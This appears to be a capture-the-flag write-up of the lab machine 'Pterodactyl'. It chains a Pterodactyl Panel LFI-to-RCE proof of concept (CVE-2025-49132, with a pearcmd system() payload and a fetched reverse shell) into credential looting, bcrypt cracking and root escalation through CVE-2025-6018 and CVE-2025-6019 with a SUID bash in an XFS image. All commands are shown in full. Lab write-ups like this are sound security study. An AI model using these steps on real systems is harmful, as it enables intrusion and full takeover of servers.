Reconnaissance

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/

The only interesting port seems to be 80 with a redirect to pterodactyl.htb, so I’ll add this to my /etc/hosts file before proceeding.

Execution

The web page MonitorLand for a Minecraft community shows an additional hostname, play.pterodactyl.htb, that I also add to my hosts file. There’s also a link to a Changelog with some more information.

CHANGELOG.txt
MonitorLand - CHANGELOG.txt
======================================
 
Version 1.20.X
 
[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
 
[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
 
[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.
 
[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

The key takeaways from the change log:

  • There’s host based routing configured on the nginx web server
  • Pterodactyl Panel is installed in version v1.11.10
  • PHP-PEAR and PHP-FPM are present
  • There might be a phpinfo() somewhere

First I try the obvious /phpinfo.php and get a page back with lots of details regarding PHP 8.4.8. Besides a few paths on the host system, it does not contain any secrets. The include_path confirms the presence of the PHP Extension and Application Repository (PEAR) installation at /usr/share/php/PEAR.

Then I move on to find the Pterodactyl Panel through vhost enumeration with fuff. It just takes a few seconds for the tool to find a hit and present panel as a valid host header. This also goes into my host file before having a closer look.

$ ffuf -H "Host: FUZZ.pterodactyl.htb" \
       -u 'http://pterodactyl.htb' \
       -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
       -fs 145
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________
 
panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 360ms]
--- SNIP ---

As expected on panel.pterodactyl.htb I’m greeted by a login prompt to the application. None of the standard credentials work and apparently there’s no default one1.

Even though the page does not expose any version information, I’m pretty sure it’s 1.11.10 as noted in the changelog. Looking up known vulnerabilities in this version quickly finds CVE-2025-49132, an unauthenticated remote code execution. There are several proof of concepts available on GitHub.

I start by copying the script from the repository, but executing it does not have the desired effect. Basically the code uses local file inclusion to call pearcmd with arguments to create a PHP file with the payload. Then it uses the same trick to call the payload. A common trick in CTFs and a way to chain LFI into a RCE in multiple vulnerabilities2.

In order to make the code work, I have to replace the path to the PHP binary with the one to PEAR from the phpinfo(). Executing the PoC once more with curl http://10.10.10.10 generates multiple hits on my web server. Then I modify the payload to retrieve my reverse shell one-liner and execute it by piping it to bash. This generates a callback as wwwrun.

poc.py
import sys, os
 
host=sys.argv[1]
payload=sys.argv[2].replace(' ','\\$\\\\{IFS\\\\}')
 
# Ugly but have to use curl since the package requests won't allow us to send characters like '{' without encoding them
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")
 
os.system(f"curl \"http://{host}/locales/locale.json?locale=../../../../../tmp&namespace=payload\"")

Privilege Escalation

Shell as phileasfogg3

Just one directory up, in /var/www/pterodactyl, I find an .env file containing the credentials pterodactyl:PteraPanel for the MySQL database panel on localhost.

/var/www/pterodactyl/.env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false
 
LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
 
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
 
CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis
 
HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8
 
MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=no-reply@example.com
MAIL_FROM_NAME="Pterodactyl Panel"
# You should set this to your domain to prevent it defaulting to 'localhost', causing
# mail servers such as Gmail to reject your mail.
#
# @see: https://github.com/pterodactyl/panel/pull/3110
# MAIL_EHLO_DOMAIN=panel.example.com
 
APP_SERVICE_AUTHOR="pterodactyl@pterodactyl.htb"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false

Considering the application has to store credentials for the login somewhere, I check out the users table in the database. There are only two accounts present and both are also valid users on the host. With hashcat I attempt to bruteforce the bcrypt hashes and after some time it recovers the password !QAZ2wsx for phileasfogg3.

$ mysql -u pterodactyl -pPteraPanel -D panel -h 127.0.0.1
 
MariaDB [panel]> show tables;
+-----------------------+
| Tables_in_panel       |
+-----------------------+
| activity_log_subjects |
| activity_logs         |
| allocations           |
| api_keys              |
| api_logs              |
| audit_logs            |
| backups               |
| database_hosts        |
| databases             |
| egg_mount             |
| egg_variables         |
| eggs                  |
| failed_jobs           |
| jobs                  |
| locations             |
| migrations            |
| mount_node            |
| mount_server          |
| mounts                |
| nests                 |
| nodes                 |
| notifications         |
| password_resets       |
| recovery_tokens       |
| schedules             |
| server_transfers      |
| server_variables      |
| servers               |
| sessions              |
| settings              |
| subusers              |
| tasks                 |
| tasks_log             |
| user_ssh_keys         |
| users                 |
+-----------------------+
35 rows in set (0.001 sec)
 
MariaDB [panel]> select username,password from users;
+--------------+--------------------------------------------------------------+
| username     | password                                                     |
+--------------+--------------------------------------------------------------+
| headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+

Shell as root

User phileasfogg3 does not have any special sudo privileges nor is it part of any interesting group. Searching for files owned by this account and removing less interesting directories from the results shows a mail in /var/spool/mail.

$ find / -user phileasfogg3 2>/dev/null | grep -vE '^(/proc|/home|/sys)'
/dev/pts/0
/run/user/1002
/run/user/1002/bus
/var/spool/mail/phileasfogg3

The message is from headmonitor and is about unusual udisksd activity. Administrators are advised to monitor logs and apply patches. This might indicate that an old version is in use.

/var/spool/mail/phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
 
Attention all users,
 
Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.
 
Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
 
Report any signs of compromise immediately to headmonitor@pterodactyl.htb
 
— HeadMonitor
System Administrator

Searching for known vulnerabilities associated with the udisks daemon, finds CVE-2025-6019, a local privilege escalation vector. The advisory shows that anything below 2.26-150400.3.5.1 is vulnerable for libblockdev in openSUSE Leap 15.6. The target self-reports version 2.26-150400.3.2.1.

$ cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"
 
$ rpm -qa | grep -i libblockdev
libblockdev-2.26-150400.3.2.1.x86_64
python3-libblockdev-2.26-150400.3.2.1.x86_64
libblockdev2-2.26-150400.3.2.1.x86_64

One requirement for abuse is to be in a session in category allow_active like an actual console, but currently I’m logged in via SSH and that does not satisfy it3. This can be checked with a call to the CanReboot() function and should return yes for a privileged user4

$ gdbus call --system \
             --dest org.freedesktop.login1 \
             --object-path /org/freedesktop/login1 \
             --method org.freedesktop.login1.Manager.CanReboot
('challenge',)

While searching for CVE-2025-6019 I find lots of references to CVE-2025-6018 and that allows local attackers to obtain elevated privileges like an allow_active user. Basically an unprivileged user can add variables to PAMs environment by adding them to .pam_environment that gets loaded by pam_env5.

$ { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment

After applying the changes to the .pam_environment file (or simply creating the file) and establishing a new session via SSH, I can rerun the previous check with the reboot function. Now this reports yes, so I’m a more privileged user.

$ gdbus call --system \
             --dest org.freedesktop.login1 \
             --object-path /org/freedesktop/login1 \
             --method org.freedesktop.login1.Manager.CanReboot
('yes',)

Now I can proceed with the exploitation steps for CVE-2025-6019 and start by creating a XFS image as root containing a SUID shell. Since XFS support does not come by default on Kali, I install xfsprogs.

# whoami
root
 
# dd if=/dev/zero of=./xfs.image bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 1.06316 s, 296 MB/s
 
# mkfs.xfs ./xfs.image
meta-data=./xfs.image            isize=512    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=1
         =                       reflink=1    bigtime=1 inobtcount=1 nrext64=1
         =                       exchange=0   metadir=0
data     =                       bsize=4096   blocks=76800, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
         =                       rgcount=0    rgsize=0 extents
         =                       zoned=0      start=0 reserved=0
 
# mkdir ./xfs.mount
 
# mount -t xfs ./xfs.image ./xfs.mount
 
# cp /bin/bash ./xfs.mount
 
# chmod 04555 ./xfs.mount/bash
 
# umount ./xfs.mount

This might fail due to a mismatch between the Bash on the local machine and on the target, so a safer option is to copy the binary from the remote host.

After creating the disk image, I transfer the file over to the target via SCP. On the target, I first create a new loop device with it. Then I run a command in the background that keeps the binary within the image busy - this will prevent the unmount. A call to resize the filesystem will mount the disk in /tmp. Lastly I use the SUID bash dropped into /tmp to escalate to root.

$ udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop1.
 
$ while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
[1] 28616
 
$ gdbus call --system \
             --dest org.freedesktop.UDisks2 \
             --object-path /org/freedesktop/UDisks2/block_devices/loop1 \
             --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop1: Failed to unmount '/dev/loop1' after resizing it: target is busy
 
$ /tmp/blockdev.39F4J3/bash -p
id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Attack Path

flowchart TD

subgraph "Execution"
    A(Web Page) -->|vhost enumeration| B(Pterodactyl Panel)
    A -->|Information disclosure in changelog| C(phpinfo with path to PEAR) & D(Pterodactyl version)
    B & C & D -->|CVE-2025-49132| E(Shell as wwwrun)
end

subgraph "Privilege Escalation"
    E -->|Bruteforce hash in database| F(Shell as phileasfogg3)
    F -->|CVE-2025-6018| G("Privileged 'allow_active' shell")
    G -->|CVE-2025-6019| H(Shell as root)
end

Footnotes

  1. Add the First User

  2. Form Tools Remote Code Execution: We Need To Talk About PHP

  3. Implicit authorizations

  4. CVE-2025-6019

  5. CVE-2025-6018